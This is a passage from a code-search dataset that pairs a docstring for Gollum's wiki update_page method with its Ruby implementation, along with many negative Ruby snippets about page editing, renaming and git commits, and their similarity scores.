#{parent_page.public_url}\"\n\t\t\t\t\n\t\t\t\tdocument = Asciidoctor.load file, safe: :safe, attributes: { 'showtitle' => true, 'imagesdir' => parent_page.public_url, 'skip-front-matter' => true, 'stem' => true }\n\t\t\t\thtml = document.convert\n\t\t\t\t\n\t\t\t\tnew_subpage = parent_page.subpages.find_by_title(subpage_info[2]) || parent_page.subpages.new(title: subpage_info[2])\n\t\t\t\tnew_subpage.position = subpage_info[1]\n\t\t\t\tnew_subpage.content = html\n\t\t\t\tnew_subpage.save\n\t\t\t\t@touched_subpages << new_subpage.id\n\t\t\tend\n\t\tend\n\tend",
"def page(page_name, &block)\n method_name = page_name.computerize + '_page'\n send method_name, &block\n end",
"def save_page(title, attr)\n title = normalize_title(title)\n \n page = find_page(title)\n page.set(attr)\n \n transaction \"update `#{page.title}'\" do\n store[page.title + '.md'] = page\n end\n end",
"def update\n @page = Page.find_by_slug(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n @page.update_attribute('published_at', Time.now) if params[:commit] == 'Publish'\n @page.update_attribute('published_at', nil) if params[:commit] == 'Unpublish'\n \n if params[:commit] == 'Publish'\n format.html { redirect_to root_page_path(@page), notice: 'Page was successfully published.' }\n else\n format.html { redirect_to edit_page_path(@page), notice: 'Page was successfully updated.' }\n end\n \n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_page(name, version, content)\n p \"set page: #{name} : #{version.class}\"\n page = wiki.page(name, version)\n if !page.nil?\n path = page_path(name, version)\n FileUtils.mkdir_p(File.dirname(path))\n File.open(path, 'w') do |f|\n f.write(content)\n end\n end\n end",
"def rename!(name)\n @name = name\n @path = make_path\n end",
"def page_title(page)\n return site_title if page.title.nil? || page.title.empty?\n\n title = t(\"titles.#{page.title}\",\n flavor: settings.site_name.capitalize,\n default: [\"docs.#{page.parent}.#{page.title}\".to_sym,\n page.title.to_s.titleize])\n\n if page.parent.nil?\n parent_title = site_title\n else\n parent_title = t(\"titles.#{page.parent}\",\n flavor: settings.site_name.capitalize,\n default: site_title)\n end\n\n \"#{title} | #{parent_title}\"\n end",
"def edit_name # :prefetch: :norobots:\n store_location\n pass_query_params\n if @name = find_or_goto_index(Name, params[:id].to_s)\n init_edit_name_form\n if request.method == :post\n @parse = parse_name\n new_name, @parents = find_or_create_name_and_parents\n if new_name.new_record? or new_name == @name\n unless can_make_changes? or minor_name_change?\n email_admin_name_change\n end\n update_correct_spelling\n any_changes = update_existing_name\n unless redirect_to_approve_or_deprecate\n flash_warning(:runtime_edit_name_no_change.t) unless any_changes\n redirect_to_show_name\n end\n elsif is_in_admin_mode? or @name.mergeable? or new_name.mergeable?\n merge_name_into(new_name)\n redirect_to_show_name\n else\n send_name_merge_email(new_name)\n redirect_to_show_name\n end\n end\n end\n rescue RuntimeError => err\n reload_edit_name_form_on_error(err)\n end",
"def renamed?\n renamed = file_log.renamed?(file_node)\n return renamed unless renamed\n \n return renamed if rev == link_rev\n \n name = path\n fnode = file_node\n changeset.parents.each do |p|\n pnode = p.filenode(name)\n next if pnode.nil?\n \n # Why the fuck does this method return nil. This could fuck things\n # up down the line. There better be a good fucking reason for this.\n # Sorry I'm so irritated. I just need some food.\n return nil if fnode == pnode\n end\n renamed\n end",
"def save_page page\n return unless page.text?\n\n path = page_file page.full_name\n\n FileUtils.mkdir_p File.dirname(path) unless @dry_run\n\n cache[:pages] ||= []\n cache[:pages] << page.full_name\n\n return if @dry_run\n\n File.open path, 'wb' do |io|\n Marshal.dump page, io\n end\n end",
"def update\n respond_to do |wants|\n if @page.update_attributes(params[:page])\n \n flash[:notice] = 'Страница сохранена.'\n wants.html { redirect_to(admin_pages_url) }\n wants.xml { head :ok }\n else\n wants.html { render :action => \"edit\" }\n wants.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @page = Page.friendly.find(params[:id])\n\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to [:admin, @page], notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_new_page_with_http_info(name, page_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PageApi.put_new_page ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling PageApi.put_new_page\"\n end\n # verify the required parameter 'page_name' is set\n if @api_client.config.client_side_validation && page_name.nil?\n fail ArgumentError, \"Missing the required parameter 'page_name' when calling PageApi.put_new_page\"\n end\n # resource path\n local_var_path = \"/diagram/{name}/pages/addNew\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'pageName'] = page_name\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ModifyResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PageApi#put_new_page\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def rename(old_name, new_name); end",
"def rename(old_name, new_name); end",
"def update(content, message=nil)\n # normalise content\n content = Page.normalise_body(content)\n \n # create subdirectory if needed\n dirname = File.dirname(@filename)\n FileUtils.mkdir_p(dirname) unless File.exist?(dirname)\n \n # Write changes to file\n File.open(@filename, 'w') { |f| f << content }\n \n # Create commit message\n commit_message = tracked? ? \"edited #{@basename.wikify}\" : \"created #{@basename.wikify}\"\n commit_message += ' : ' + message unless message.blank?\n \n # Commit changes\n begin\n $repo.add(@name)\n $repo.commit(commit_message)\n rescue\n nil\n end\n end",
"def update_node!(node)\n hash = {lft: node.left, rgt: node.right, parent_id: node.parent, depth: node.depth, restricted: node.restricted}\n\n if urlname != node.url\n LegacyPageUrl.create(page_id: id, urlname: urlname)\n hash[:urlname] = node.url\n end\n\n update_columns(hash)\n end",
"def rename(new_name)\n\n self.update_attribute(:name, new_name)\n\n folder = self.get_team_folder\n\n unless folder.nil?\n folder.update_attribute(:name, new_name)\n end\n end",
"def edit\n # Clear the page cache for this page... ?\n @page = Comatose::Page.find_is_snippet params[:id]\n if request.post?\n @page.update_attributes(params[:page])\n @page.updated_on = Time.now\n @page.author = current_user\n if @page.valid? && @page.save\n expire_cms_page @page\n expire_cms_fragment @page\n flash[:notice] = \"Saved changes to '#{@page.title}'\"\n redirect_to :controller=>self.controller_name, :action=>'index'\n end\n \n end\n end",
"def move_page(num)\n add_actions \"MovePage(#{num})\"\n end",
"def rename(new_name)\n raise 'to be implemented in subclass'\n end",
"def test_remove_page\n file = Configuration.TEST_PAGE\n \n # This test depends on a succesfull login\n if test_correct_login\n token = make_login Configuration.USER, Configuration.PASSWORD\n else\n return false\n end\n \n page_key = 'page-test-' + random_string(Configuration.PAGE_KEY_RS_SIZE)\n \n # This test also depends on a succesfull page creation\n if test_create_page\n post_page file, token, page_key, 'test-tag', 'This is a Test Page'\n else\n return false\n end\n \n res = remove_page page_key, token\n puts \"\\nTester#test_remove_page:\\n#{res}\" if Configuration.VERBOSE \n res == Constants.SUCCESS_MESSAGE\n end",
"def update\n @page = Page.find(params[:id])\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @page, notice: \"Page was successfully updated. #{undo_link}\" }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_page_by_name\n name = params[:page] || Rails.application.config.MAIN_PAGE\n\n @page = Page.new(name)\n end",
"def update\n @page = Page.find_by_slug(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = 'Page was successfully updated.'\n format.html { redirect_to @page.get_page_path }\n # format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n @wiki_page = MiniWikiPage.find_by_name(params[:wiki_page])\n @wiki_revision = @wiki_page.mini_wiki_revision\n unless @username.blank?\n @wiki_revision.author = @username\n end\n render :template => 'edit'\n end",
"def delete_file(path, commit)\n fullpath = ::File.join([page_file_dir, path].compact)\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n committer.delete(fullpath)\n\n committer.after_commit do |index, _sha|\n dir = '' if dir == '.'\n @access.refresh\n index.update_working_dir(fullpath)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def rename(renames)\n prepare_atomic_operation do |ops|\n process_atomic_operations(renames) do |old_field, new_field|\n new_name = new_field.to_s\n if executing_atomically?\n process_attribute new_name, attributes[old_field]\n process_attribute old_field, nil\n else\n attributes[new_name] = attributes.delete(old_field)\n end\n ops[atomic_attribute_name(old_field)] = atomic_attribute_name(new_name)\n end\n { \"$rename\" => ops }\n end\n end",
"def rename_item(index_no, rename)\n index_exist(index_no)? index_exist_rename(index_no, rename) : conf_message(index_no, \"does not exist\")\n end",
"def update\n if @page.update_attributes(params[:page])\n respond_with(@page)\n else\n respond_with(@page)\n end\n end",
"def rename_comparison(old_name, new_name)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.RunEditor_rename_comparison(@handle.ptr, old_name, new_name)\n result\n end",
"def page(name, version = 'master')\n @page_class.new(self).find(name, version)\n end",
"def name\n @page.name\n end",
"def commit(message = '', author = nil, committer = nil)\n return if !root.modified?\n\n author ||= default_user\n committer ||= author\n root.save\n\n commit = Commit.new(:repository => self,\n :tree => root,\n :parents => head,\n :author => author,\n :committer => committer,\n :message => message)\n commit.save\n\n write_head_id(commit.id)\n load\n\n commit\n end",
"def page=(page)\n if !page.nil? && page < 1\n fail ArgumentError, 'invalid value for \"page\", must be greater than or equal to 1.'\n end\n\n @page = page\n end",
"def rename\n render\n end",
"def page_file page_name\n file_name = File.basename(page_name).gsub('.', '_')\n\n File.join @path, File.dirname(page_name), \"page-#{file_name}.ri\"\n end",
"def commit(message = nil)\n # Write current index back to the repository\n index = @repo.index\n commit_tree = index.write_tree @repo\n\n # Commit message\n message = \"Affected files: #{@affected_files.uniq.join(', ')}\" if message.nil?\n\n # User handling\n user = ENV['USER']\n user = \"cir-out-commit\" if user.nil?\n\n # Commit author structure for git\n commit_author = {\n email: 'cir-auto-commit@nowhere.cz',\n name: user,\n time: Time.now\n }\n\n # And finally commit itself\n Rugged::Commit.create @repo,\n author: commit_author,\n committer: commit_author,\n message: message,\n parents: @repo.empty? ? [] : [ @repo.head.target ].compact,\n tree: commit_tree,\n update_ref: 'HEAD'\n\n # Reset list of files that were changed since last commit\n @affected_files = []\n end",
"def update\n @page = Page.find(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n flash[:notice] = _('Page was successfully updated.')\n format.html { redirect_to(@page) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @page.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def renameBrick(oldName, newName)\n # Raise an error if the new name is already taken\n raise \"Brick node: #{newName} is already in the tree.\" if @tree.has_key?(newName)\n \n # Make sure the child exists\n raise \"Brick node: #{oldName} does not exist.\" unless @tree.has_key?(oldName)\n\n # Remove link to the old brick name from old parent\n parentName = self.getParent(oldName)['brick']\n self.removeChildLink(parentName, oldName)\n \n # Add link to the parent for the new brick name\n self.addChildLink(parentName ,newName)\n \n #--\n # Update the brick's name\n #--\n # Add hash element to tree under new name\n @tree[newName] = @tree[oldName]\n @tree[newName]['brick'] = newName\n @tree[newName]['parent'] = parentName\n\n # Erase old hash element\n @tree.delete(oldName)\n end"
] |
[
"0.76676464",
"0.65495855",
"0.63952535",
"0.6285936",
"0.5671585",
"0.54502773",
"0.5358517",
"0.50778943",
"0.50538933",
"0.5048372",
"0.49072894",
"0.49008095",
"0.47986045",
"0.47980314",
"0.47574434",
"0.47559842",
"0.46430343",
"0.46258214",
"0.4514446",
"0.45072678",
"0.44632953",
"0.4454299",
"0.44529784",
"0.44402257",
"0.4420611",
"0.4410793",
"0.4410793",
"0.44062018",
"0.4392231",
"0.4348274",
"0.4344846",
"0.4342444",
"0.43393105",
"0.43324518",
"0.4314296",
"0.4310505",
"0.43099305",
"0.4304031",
"0.43024707",
"0.42995578",
"0.42884615",
"0.42850798",
"0.42766827",
"0.42659312",
"0.42564213",
"0.42544514",
"0.42508134",
"0.42508134",
"0.4248205",
"0.42050433",
"0.41870713",
"0.41721964",
"0.41703832",
"0.41693598",
"0.41564998",
"0.41548634",
"0.41540903",
"0.41523975",
"0.4143446",
"0.4141926",
"0.4130951",
"0.41273317",
"0.41225407",
"0.41202506",
"0.41176713",
"0.41151503",
"0.41144985",
"0.4113062",
"0.41096973",
"0.40878758",
"0.40874135",
"0.40822142",
"0.40713117",
"0.40665257",
"0.40665257",
"0.40635976",
"0.4062797",
"0.40506297",
"0.40424657",
"0.40406418",
"0.40357956",
"0.4035511",
"0.40323767",
"0.40311205",
"0.4030604",
"0.40292183",
"0.40290445",
"0.40192398",
"0.399635",
"0.39948052",
"0.3991092",
"0.39849663",
"0.3984463",
"0.3982957",
"0.39812112",
"0.3980158",
"0.39722267",
"0.39656126",
"0.3963477",
"0.39618874"
] |
0.76163954
|
1
|
Public: Update an existing page with new content. The location of the page inside the repository will not change. If the given format is different than the current format of the page, the filename will be changed to reflect the new format. page The Gollum::Page to update. name The String extensionless name of the page. format The Symbol format of the page. data The new String contents of the page. commit The commit Hash details: :message The String commit message. :name The String author full name. :email The String email address. :parent Optional Gollum::Git::Commit parent to this update. :tree Optional String SHA of the tree to create the index from. :committer Optional Gollum::Committer instance. If provided, assume that this operation is part of batch of updates and the commit happens later. Returns the String SHA1 of the newly written version, or the Gollum::Committer instance if this is part of a batch update.
|
def update_page(page, name, format, data, commit = {})
name ||= page.name
format ||= page.format
dir = ::File.dirname(page.path)
dir = nil if dir == '.'
rename = (page.name != name || page.format != format)
new_path = ::File.join([dir, self.page_file_name(name, format)].compact) if rename
multi_commit = !!commit[:committer]
committer = multi_commit ? commit[:committer] : Committer.new(self, commit)
if !rename
committer.add(page.path, normalize(data))
else
committer.delete(page.path)
committer.add_to_index(new_path, data)
end
committer.after_commit do |index, _sha|
@access.refresh
index.update_working_dir(page.path)
index.update_working_dir(new_path) if rename
end
multi_commit ? committer : committer.commit
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_page(page, name, format, data, commit = {})\n name = name ? ::File.basename(name) : page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n filename = (rename = page.name != name) ? Gollum::Page.cname(name) : page.filename_stripped\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename && page.format == format\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(dir, filename, format, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(dir, page.filename_stripped, page.format)\n index.update_working_dir(dir, filename, format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = '' if dir == '.'\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n if page.name == name && page.format == format\n index.add(page.path, normalize(data))\n else\n index.delete(page.path)\n add_to_index(index, dir, name, format, data, :allow_same_ext)\n end\n end\n\n @access.refresh\n update_working_dir(index, dir, page.name, page.format)\n update_working_dir(index, dir, name, format)\n\n sha1\n end",
"def write_page(name, format, data, commit = {})\n index = nil\n sha1 = commit_index(commit) do |idx|\n index = idx\n add_to_index(index, '', name, format, data)\n end\n\n @access.refresh\n update_working_dir(index, '', name, format)\n\n sha1\n end",
"def preview_page(name, data, format)\n page = @page_class.new(self)\n ext = @page_class.format_to_ext(format.to_sym)\n path = @page_class.cname(name) + '.' + ext\n blob = OpenStruct.new(:name => path, :data => data)\n page.populate(blob, path)\n page.version = @access.commit('HEAD')\n page\n end",
"def write_page(path, format, data, commit = {})\n write(merge_path_elements(nil, path, format), data, commit)\n end",
"def edit_wiki_page(proj_name, page_name)\n # fetch current page contents\n page = wiki_page_client(proj_name, page_name)\n begin\n page_data = JSON.parse(page.get)\n current_src = page_data['text']\n rescue RestClient::ResourceNotFound\n page_data = {}\n current_src = ''\n end\n\n new_src = yield(current_src)\n\n changed = !(new_src.nil? || new_src == current_src)\n\n if changed\n new_data = {\n 'page' => {\n 'text' => new_src,\n 'description' => 'edited with kenai-client',\n 'number' => page_data['number']\n }\n }\n page.put(JSON.dump(new_data), :content_type => 'application/json')\n end\n\n return changed\n end",
"def preview_page(name, data, format)\n ::Gollum::PreviewPage.new(self, \"#{name}.#{::Gollum::Page.format_to_ext(format.to_sym)}\", data, @access.commit(@ref))\n end",
"def update!(**args)\n @page = args[:page] if args.key?(:page)\n @paragraph = args[:paragraph] if args.key?(:paragraph)\n @reporter = args[:reporter] if args.key?(:reporter)\n @volume = args[:volume] if args.key?(:volume)\n @year = args[:year] if args.key?(:year)\n end",
"def rename_page(page, rename, commit = {})\n return false if page.nil?\n return false if rename.nil? || rename.empty?\n\n (target_dir, target_name) = ::File.split(rename)\n (source_dir, source_name) = ::File.split(page.path)\n source_name = page.filename_stripped\n\n # File.split gives us relative paths with \".\", commiter.add_to_index doesn't like that.\n target_dir = '' if target_dir == '.'\n source_dir = '' if source_dir == '.'\n target_dir = target_dir.gsub(/^\\//, '') # rubocop:disable Style/RegexpLiteral\n\n # if the rename is a NOOP, abort\n if source_dir == target_dir && source_name == target_name\n return false\n end\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n # This piece only works for multi_commit\n # If we are in a commit batch and one of the previous operations\n # has updated the page, any information we ask to the page can be outdated.\n # Therefore, we should ask first to the current committer tree to see if\n # there is any updated change.\n raw_data = raw_data_in_committer(committer, source_dir, page.filename) ||\n raw_data_in_committer(committer, source_dir, \"#{target_name}.#{Page.format_to_ext(page.format)}\") ||\n page.raw_data\n\n committer.delete(page.path)\n committer.add_to_index(target_dir, target_name, page.format, raw_data)\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(source_dir, source_name, page.format)\n index.update_working_dir(target_dir, target_name, page.format)\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to([:admin, @page], notice: 'Page was successfully updated.') }\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated page: #{@page.title}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if page_params[:body]\n @page.versions << Version.new(body: page_params[:body], title: page_params[:title]).save\n page_params.delete :body\n end\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to controller: \"pages\", action: \"show\", slug: @page[:page_slug], notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(content, message=nil)\n # normalise content\n content = Page.normalise_body(content)\n \n # create subdirectory if needed\n dirname = File.dirname(@filename)\n FileUtils.mkdir_p(dirname) unless File.exist?(dirname)\n \n # Write changes to file\n File.open(@filename, 'w') { |f| f << content }\n \n # Create commit message\n commit_message = tracked? ? \"edited #{@basename.wikify}\" : \"created #{@basename.wikify}\"\n commit_message += ' : ' + message unless message.blank?\n \n # Commit changes\n begin\n $repo.add(@name)\n $repo.commit(commit_message)\n rescue\n nil\n end\n end",
"def update_wiki\n return unless request.post?\n @page.content = WikiContent.new(:page => @page) if @page.new_record?\n @content = @page.content_for_version(params[:version])\n @content.text = \"h1. #{@page.pretty_title}\" if @content.text.blank?\n @content.comments = nil\n\n if !@page.new_record? && @content.text == params[:content_text]\n # don't save if text wasn't changed\n return\n end\n\n # @content.attributes = params[:content_text]\n @content.text = params[:content_text]\n @content.author = User.find_by_login( params[:user] )\n @content.comments = params[:content_comments]\n if (@page.new_record? ? @page.save : @content.save)\n render :text => 'ok'\n else\n render :text => 'err'\n end\n\n end",
"def update\n\n #find the page with given id\n @page = Page.find(params[:id])\n\n #use updated_at manually, it will update the page table if user hits update button.\n # This may not be trivial, so it may change.\n @page.updated_at = Time.now\n\n #retrieving layout id from params and assigning to a variable\n @layout = @page[:layout_id]\n\n # calling method to find all pages and page parts\n find_pages_and_parts(@layout)\n\n #sends in data in different format\n respond_to do |format|\n\n if @page.update_attributes(params[:page]) #page updated successfully\n\n format.html { redirect_to admin_pages_path, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n\n else #page saving failed, re-renders edit template\n\n format.html { render action: \"edit\", :template => 'mcms_pages/admin/pages/edit' }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n\n end # end if\n\n end # end respond_to block\n\n end",
"def update\r\n @page = Page.find(params[:id])\r\n respond_to do |format|\r\n if @page.update_attributes(params[:page])\r\n format.html { redirect_to @page, notice: 'Page was successfully updated.' }\r\n format.json { head :no_content }\r\n target = \"#{Rails.public_path}/#{@page.project_id}/#{@page.page_name}.html\"\r\n File.open(target, \"w\") do |f|\r\n f.write(@page.html)\r\n end\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @page.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def set_page(path, text, commit_id, email = 'unknown', sline =nil, eline = nil)\n\n cur_head = @repo.commits(@branch, 1).first\n cur_tree = @repo.tree @branch\n\n status = SETPAGE_OK\n\n if commit_id != ''\n # not new file\n\n text_blob = @repo.blob commit_id\n raise \"no path #{path}\" if ! text_blob.is_a? Grit::Blob\n cur_blob = cur_tree / path\n text_blob_data = text_blob.data.force_encoding('utf-8')\n\n if ! sline.nil? && ! eline.nil?\n text = _patch_part(text, text_blob_data, sline, eline)\n end\n\n if cur_blob.id != text_blob.id\n # collision: try append diff\n status = SETPAGE_MERGE_OK\n lmine = 'me'\n lorig = 'original'\n lyour = 'your-concurent-editor'\n newtext, diff3_status = Diff3.diff3(lmine, text,\n lorig, text_blob_data,\n lyour, cur_blob.data.force_encoding('utf-8'))\n\n case diff3_status\n when Diff3::MERGE_COLLISONS\n status = SETPAGE_MERGE_COLLISONS\n\n when Diff3::MERGE_FAIL\n # total fall back (never happens)\n status = SETPAGE_MERGE_DIFF\n diff = Grit::Commit.diff(@repo, text_blob.id, cur_blob.id).map {|d| d.diff}.join\n newtext = text + \"\\n= Collision =\\n{{{\\n#{diff}\\n}}}\\n\"\n end\n text = newtext\n end\n end\n\n index = Grit::Index.new(@repo)\n index.read_tree(cur_tree.id)\n index.add(path, text)\n\n if path =~ /\\.(wiki|txt)$/\n fstline = text.each_line.first.chomp.strip\n comment = \"file: #{path} head: #{fstline}\"\n else\n comment = \"file: #{path}\"\n end\n\n\n comment = comment.force_encoding('ASCII-8BIT')\n\n actor = Grit::Actor.from_string(email)\n\n id = index.commit(comment, parents: [cur_head], actor: actor, last_tree: cur_head, head: @branch)\n return status\n end",
"def edit\n @page = @wiki.find_or_new_page(params[:page]) \n @page.content = WikiContent.new(:page => @page) if @page.new_record?\n \n @content = @page.content_for_version(params[:version])\n @content.text = \"h1. #{@page.pretty_title}\" if @content.text.blank?\n # don't keep previous comment\n @content.comment = nil\n if request.post? \n if @content.text == params[:content][:text]\n # don't save if text wasn't changed\n redirect_to :action => 'index', :id => @project, :page => @page.title\n return\n end\n @content.text = params[:content][:text]\n @content.comment = params[:content][:comment]\n @content.author = logged_in_user\n # if page is new @page.save will also save content, but not if page isn't a new record\n if (@page.new_record? ? @page.save : @content.save)\n redirect_to :action => 'index', :id => @project, :page => @page.title\n end\n end\n end",
"def update\n @page = Page.find_by_slug(params[:id])\n\n respond_to do |format|\n if @page.update_attributes(params[:page])\n @page.update_attribute('published_at', Time.now) if params[:commit] == 'Publish'\n @page.update_attribute('published_at', nil) if params[:commit] == 'Unpublish'\n \n if params[:commit] == 'Publish'\n format.html { redirect_to root_page_path(@page), notice: 'Page was successfully published.' }\n else\n format.html { redirect_to edit_page_path(@page), notice: 'Page was successfully updated.' }\n end\n \n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post page_name\n redirect(\"/login?return_to=#{CGI::escape(@env['REQUEST_URI'])}\") and return unless logged_in?\n page_name_spc = page_name.gsub(/_/,' ')\n if input.submit = 'save'\n attrs = { :body => input.post_body, :title => input.post_title, :user_id =>@state.user.id }\n attrs[:readonly] = input.post_readonly if is_admin?\n @page = Page.find_by_title(page_name_spc)\n if @page.nil?\n # new page\n @page = Page.create(attrs)\n else\n @page.update_attributes(attrs)\n end\n redirect Show, input.post_title.gsub(/ /,'_')\n elsif input.submit == 'minor edit'\n attrs = { :body => input.post_body }\n attrs[:readonly] = input.post_readonly if is_admin?\n page = Page.find_by_title(page_name_spc)\n current_version = page.find_version(page.version)\n current_version.update_attributes(attrs)\n page.without_revision { page.update_attributes(attrs) }\n redirect Show, input.post_title.gsub(/ /,'_')\n else # cancel\n redirect Show, page_name\n end\n end",
"def book_update\n if params[:token] != ENV['UPDATE_TOKEN']\n return render :text => 'nope'\n end\n\n lang = params[:lang]\n chapter = params[:chapter].to_i\n section = params[:section].to_i\n chapter_title = params[:chapter_title]\n section_title = params[:section_title]\n content = params[:content].force_encoding(\"UTF-8\")\n\n # create book (if needed)\n book = Book.where(:code => lang).first_or_create\n\n # create chapter (if needed)\n chapter = book.chapters.where(:number => chapter).first_or_create\n chapter.title = chapter_title\n chapter.save\n\n # create/update section\n section = chapter.sections.where(:number => section).first_or_create\n section.title = section_title\n section.html = content\n section.save\n\n render :text => 'ok'\n end",
"def update\n @structure_page = Structure::Page.find(params[:id])\n\n respond_to do |format|\n if @structure_page.update_attributes(params[:structure_page])\n format.html { redirect_to @structure_page, notice: 'Page was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @structure_page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rename_page(page, rename, commit = {})\n return false if page.nil?\n return false if rename.nil? or rename.empty?\n\n (target_dir, target_name) = ::File.split(rename)\n (source_dir, source_name) = ::File.split(page.path)\n source_name = page.filename_stripped\n\n # File.split gives us relative paths with \".\", commiter.add_to_index doesn't like that.\n target_dir = '' if target_dir == '.'\n source_dir = '' if source_dir == '.'\n target_dir = target_dir.gsub(/^\\//, '')\n\n # if the rename is a NOOP, abort\n if source_dir == target_dir and source_name == target_name\n return false\n end\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n committer.delete(page.path)\n committer.add_to_index(merge_path_elements(target_dir, target_name, page.format), page.raw_data)\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(merge_path_elements(source_dir, source_name, page.format))\n index.update_working_dir(merge_path_elements(target_dir, target_name, page.format))\n end\n\n multi_commit ? committer : committer.commit\n end",
"def update\n begin\n MiniWikiPage.transaction do\n @wiki_page = MiniWikiPage.find_by_name(params[:wiki_page])\n @wiki_revision = MiniWikiRevision.new(params[:wiki_revision])\n @wiki_revision.revision = @wiki_page.mini_wiki_revisions.last.revision + 1\n unless @username.blank?\n @wiki_revision.author = @username\n end\n \n @wiki_page.mini_wiki_revisions << @wiki_revision\n @wiki_page.mini_wiki_revision = @wiki_revision\n @wiki_page.save!\n end\n flash[:notice] = 'Page was successfully updated.'\n redirect_to :action => 'show', :wiki_page => @wiki_page.name\n rescue\n render :action => 'edit', :template => 'edit'\n end\n end",
"def update\n if @page.update_attributes(params[:page])\n respond_to do |format|\n format.json { render :json => @page }\n format.xml { render :xml => @page }\n end\n else\n respond_to do |format|\n format.json { raise Palani::Api::InvalidUpdateOfRecordJSONException }\n format.xml { raise Palani::Api::InvalidUpdateOfRecordXMLException }\n end\n end\n end",
"def update\n flash[:notice] = 'The page was successfully updated.' if page.update_attributes(params[:page])\n respond_with(page, location: project_page_path(page.project, page))\n end",
"def update\n respond_to do |format|\n if @page.update(page_params)\n format.html { redirect_to @pages_tree[(@page.id).to_s], notice: 'Page was successfully updated.' }\n format.json { render :show, status: :ok, location: @page }\n else\n format.html { render :edit }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_page(name=nil)\n logger.debug \"DB ********** calling item_category#update_page ********** \"\n logger.debug \"DB ********** passed in name: #{name.to_s} ********** \"\n name ||= self.item.name #(force_reload = true) # force reload ensures item is pulled from DB instead of memory\n logger.debug \"DB ********** name after lookup: #{name.to_s} ********** \"\n page = self.page ? self.page : self.build_page\n unless name.blank?\n page.title = name\n page.menu_name = name\n page.set_safe_shortcut(name)\n end\n page.displayed = item.display\n page.parent = category.page\n end",
"def update\n if @page.update(page_params)\n redirect_to notebook_page_path(@notebook, @page), notice: 'Page was successfully updated.' \n else\n render :edit\n end\n end",
